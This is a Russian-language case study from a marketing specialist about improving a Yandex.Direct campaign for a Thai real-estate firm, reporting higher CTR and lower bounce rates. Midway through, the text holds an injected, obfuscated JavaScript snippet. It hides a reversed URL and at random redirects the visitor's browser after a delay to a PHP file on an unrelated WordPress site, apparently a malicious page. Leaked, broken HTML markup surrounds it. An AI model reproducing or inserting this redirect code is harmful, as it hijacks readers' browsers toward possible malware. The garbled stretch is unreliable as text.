Реальный кейс об уменьшении процента отказов в 3 раза, увеличение CTR в 6 раз. Все это крайне положительно сказалось на общей рентабельности рекламной кампании в Директе. Все гениальное — просто.
Клиент — аренда и продажа недвижимости в Тайланде
Задача — улучшить отдачу от рекламы в Директе.
Что было сделано:
- Полный аудит рекламной кампании;
- Анализ данных Яндекс.Метрики;
- Внесение правок по результатам аудита.
Показатели рекламных кампаний клиента на старте
Сегментирование в аккаунте выполнено по регионам: РФ, Москва и Тайланд. В основном трафик идет с кампании, ориентированной на Российскую Федерацию, поэтому рассмотрим улучшение показателей именно на ее примере.
Это статистика по кампании, ориентированной на РФ. А вот результаты Московской кампании.
Статистика в Метрике выглядела следующим образом.
{if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>do.png» alt=»статистика рекламной кампании до» width=»1077″ height=»202″/></p><p>Как можно наблюдать, статистика была совсем не солнечная:</p><ul><li>CTR — 3.3%;</li><li>Отказы по основной кампании в районе 20%, у второй — 10%.</li></ul><p>А это значит 20% бюджета на кампанию улетало в трубу. После подробного аудита и анализа данных Метрики была выявлена одна малозаметная деталь, которая влекла за собой данные последствия.</p><p>Была включена опция под названием «Авторасширение фраз» в Директе. Обычно она работает в плюс, помогая увеличить охват целевой аудитории, но не в данном случае. Были еще и другие незначительные ошибки, но они все были уже второстепенны.</p><h2>Результаты после оптимизации рекламных кампаний</h2><p>Вот чего удалось добиться, исправив все ошибки и отключим эту хитрую опцию Директа. Сначала показатели самих кампаний.</p><p>Геотаргетинг на Москву.</p><p><img class= "статистика рекламной кампании до")
Геотаргетинг на РФ.
Рост CTR просто потрясающий:
- РФ — рост с 3,3 до 19,1 процентов — увеличение почти в 6 раз;
- Москва — рост с 8,8 до 16,7 процентов — увеличение в 2 раза.
Напоминаю, что увеличение CTR совсем скоро повлечет за собой снижение цены за клик в рекламных кампаниях, так как этот показатель существенно на нее влияет. А теперь переходим к показателям Метрики.
Сегмент А — левый столбец (в светлых тонах) — показатели до оптимизации. Сегмент Б — правый столбец (более насыщенный цвет) — показатели после оптимизации.
Показатели улучшены в несколько раз:
- РФ — отказы снизились с 20 до 7,5% (почти в 3 раза);
- Москва — снижение с 10 до 3,5% (аналогично в 3 раза).
Глубина просмотров тоже увеличилась значительно. В первом случае — почти в 2 раза, во втором — на 10%.
Время на сайте — аналогично глубине просмотра — увеличение в разы.
И общая сводка по показателям.
Вывод — дьявол кроется в деталях. Задача специалиста — найти эти детали и устранить, что успешно получилось на примере данного клиента.
В подтверждение данных скринов — благодарственное письмо от клиента на модном бланке.
Хотите повторить результат? Обращайтесь по контактным данным.